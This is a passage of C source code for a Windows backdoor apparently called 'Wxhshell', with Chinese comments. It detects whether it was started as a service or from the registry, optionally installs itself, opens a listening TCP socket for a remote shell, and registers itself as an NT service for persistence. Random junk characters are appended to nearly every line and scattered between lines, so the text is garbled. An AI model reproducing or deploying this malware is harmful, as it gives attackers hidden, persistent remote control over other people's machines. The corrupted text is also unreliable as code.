ULONG InheritedFromUniqueProcessId; 1*
]Ev
} PROCESS_BASIC_INFORMATION; :F?x)"WoQ+
kZ=s'QRgL
PROCNTQSIP NtQueryInformationProcess; {vE(l'
aceZ3U>W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C8L'si
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +L=*:e\j
y8\S}E0
HANDLE hProcess; @EoZI~
PROCESS_BASIC_INFORMATION pbi; /N-_FMl?
,Hgc-7g@Y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $ F S_E
if(NULL == hInst ) return 0; )=DGdIEt
Z,X'-7YkU
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -`Y:~q1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \-*eL;qP
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wI5Yn
h
BJS-Jy$-
if (!NtQueryInformationProcess) return 0; ~j'l.gQb
"p3_y`h6+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9TAj) {U%'
if(!hProcess) return 0; SI6B#u-i
[>|FB '
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >\!4Mk8
99EXo+g
CloseHandle(hProcess); o-cAG{.WC
g_Im;1$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =@)d5^<5F
if(hProcess==NULL) return 0; wIf
{6z{
,]5Ic.};p
HMODULE hMod; _xLHrT!y
char procName[255]; X1vNF|o~
unsigned long cbNeeded; HBB{m
DSxUdEK6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =\{\g7
Y\=FLO9
CloseHandle(hProcess); 6yy;JQAke
}17.~
if(strstr(procName,"services")) return 1; // 以服务启动 &Z^l=YH,
tV/Z)fpyH
return 0; // 注册表启动 IooNb:(
} n& $^04+i
!JBae2Z
// 主模块 {5|("0[F
int StartWxhshell(LPSTR lpCmdLine) )J(q49
{ .4l/_4,s_
SOCKET wsl; #Z~C`n
u
BOOL val=TRUE; %5\3Aw
int port=0; [= "r<W0
struct sockaddr_in door; %/.a]j!
,pBh`av
if(wscfg.ws_autoins) Install(); T$=4O9G
Q7bq
port=atoi(lpCmdLine); pA4*bO+
]h9!ei
[
if(port<=0) port=wscfg.ws_port; QjPj[c
$t-n'Qh^2
WSADATA data; jtm?z c
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]8;n{ }X
#;#3%?
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `8\Ja$ =
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pj?Dmk~
door.sin_family = AF_INET;
st'D
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .C]cK%OO
N
door.sin_port = htons(port); 3^=+gsc
jKIc09H|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4Tct
closesocket(wsl); V|MY!uV
return 1; OJ4SbI
} Wn|&cG9
xdy^^3"
if(listen(wsl,2) == INVALID_SOCKET) { smQVWs>
closesocket(wsl); y/c%+Ca/
return 1; kWj
\x|E
} ,572n[-q
Wxhshell(wsl); X%9*O[6{
WSACleanup(); 4F MAz^
Brd,Eg
return 0; DDd|T;8
!8tS|C#2
} insY(.N
+[. Yy
// 以NT服务方式启动 x6'^4y])
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q1k{
{ _w ]4~V9
DWORD status = 0; YH:8<O,{-
DWORD specificError = 0xfffffff;
FnHi(S|A
8X?>=tl
serviceStatus.dwServiceType = SERVICE_WIN32; %G3sjnI;l
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xeTgV&$@
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l|/:Ot
serviceStatus.dwWin32ExitCode = 0; Z"I/ NGiU
serviceStatus.dwServiceSpecificExitCode = 0; MQcr^Y_
serviceStatus.dwCheckPoint = 0; |Wj;QO$C
serviceStatus.dwWaitHint = 0; q\9d6u=Gm
I]}>|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Og3yFx[rt
if (hServiceStatusHandle==0) return; pz doqAVI
o!&WsD
status = GetLastError(); }lZ>
if (status!=NO_ERROR) 8rbG*6
{ ;Pb8YvG1$
serviceStatus.dwCurrentState = SERVICE_STOPPED; K\Eo z]?
serviceStatus.dwCheckPoint = 0; <Mf*l)%*
serviceStatus.dwWaitHint = 0; b*,3<